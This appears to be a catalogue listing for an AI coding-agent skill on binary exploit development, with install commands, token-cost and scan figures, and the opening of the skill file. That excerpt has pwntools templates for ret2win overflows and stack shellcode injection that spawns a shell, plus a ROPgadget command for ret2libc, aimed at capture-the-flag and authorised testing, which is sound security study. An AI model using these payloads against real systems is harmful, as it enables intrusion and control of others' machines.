PWN Exploit Development

PWN Exploit Development is a skill for Claude Code, Codex from allsmog/pwn-claude-plugin. It costs 73 tokens per session (2,050 once invoked), scanned A, original, MIT.

A guide to developing working exploits for vulnerable computer programs, including payloads that control program execution.

In plain words
What is it for?
Use it in authorised security testing or capture-the-flag challenges to choose techniques such as return-oriented programming, ret2libc, or shellcode.
Why use it?
It helps connect a discovered weakness with an exploitation method that matches protections such as memory randomisation or non-executable memory.

Skill for Claude CodeCodex

Installs and runs on its own, but its text points at files inside its plugin — anything it tells you to read at a ${CLAUDE_PLUGIN_ROOT} path is only there once the plugin is installed. Installing the plugin gets both.

Part of the pwn-htb plugin — 7 skills, 16 commands, 3 agents, 2 hooks shipped together

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/allsmog/pwn-claude-plugin/exploit-development
Any agent
npx skills add allsmog/pwn-claude-plugin --skill exploit-development
Clone the repo
git clone --depth 1 https://github.com/allsmog/pwn-claude-plugin

Made for: Claude Code, Codex.

Or install pwn-htb, the plugin that ships this one along with the rest of its 7 skills, 16 commands, 3 agents, 2 hooks.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for PWN Exploit Development

README.md
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Per session 73 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,050 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00073 $0.02050
Opus 5 $0.00036 $0.01025
Sonnet 5 $0.00015 $0.00410
Haiku 4.5 $0.00007 $0.00205

Measured 3d ago against content hash 98a916b41280, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

PWN Exploit Development scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

pwn-htb/skills/exploit-development/SKILL.md · 311 lines

How it starts

The opening of the file, as written. The whole thing — 311 lines — stays where its author put it; the contents beside it link to each section on GitHub.

PWN Exploit Development

Overview

Exploit development transforms vulnerability findings into working payloads. This skill provides protection-aware technique selection and payload construction guidance for common exploitation scenarios.

Technique Selection Matrix

Choose technique based on protections:

Scenario Protections Technique
ret2win No PIE, No canary, NX Direct address overwrite
Shellcode No NX, No PIE Stack shellcode injection
ret2libc NX, No PIE Return to system/execve
ROP NX, Partial RELRO ROP chain execution
Leak + ret2libc NX, PIE Leak base, then ret2libc
Canary bypass Stack canary Leak canary first
Full RELRO Full RELRO __malloc_hook, stack pivot

Technique 1: ret2win

When: Win function exists, no PIE, no canary

from pwn import *

elf = ELF('./binary')
io = process('./binary')

# Payload: padding + win address
payload = b'A' * offset
payload += p64(elf.symbols['win'])

io.sendline(payload)
io.interactive()

Stack alignment (x64): If segfault on movaps, add a ret gadget:

ret = elf.search(asm('ret')).__next__()
payload = b'A' * offset
payload += p64(ret)  # Stack alignment
payload += p64(elf.symbols['win'])

Technique 2: Shellcode Injection

When: NX disabled, executable stack

from pwn import *

context.arch = 'amd64'
elf = ELF('./binary')
io = process('./binary')

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Find buffer address (may need leak or fixed)
buf_addr = 0x7fffffffe000  # Example - find via debugging

# Payload: shellcode + padding + return to buffer
payload = shellcode
payload += b'A' * (offset - len(shellcode))
payload += p64(buf_addr)

io.sendline(payload)
io.interactive()

Technique 3: ret2libc

When: NX enabled, libc available

Step 1: Find Gadgets

ROPgadget --binary ./binary | grep "pop rdi"
# Output: 0x0000000000401234 : pop rdi ; ret

Read the full file on GitHub · 311 lines

Files

What ships with it

4 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 3d ago First seen · 311 lines · 73 tokens per session scan A 98a916b41280

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PWN Exploit Development is a skill published in the GitHub repository allsmog/pwn-claude-plugin (2 stars, last pushed 6mo ago), licensed MIT. It adds 73 tokens to every session and 2,050 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

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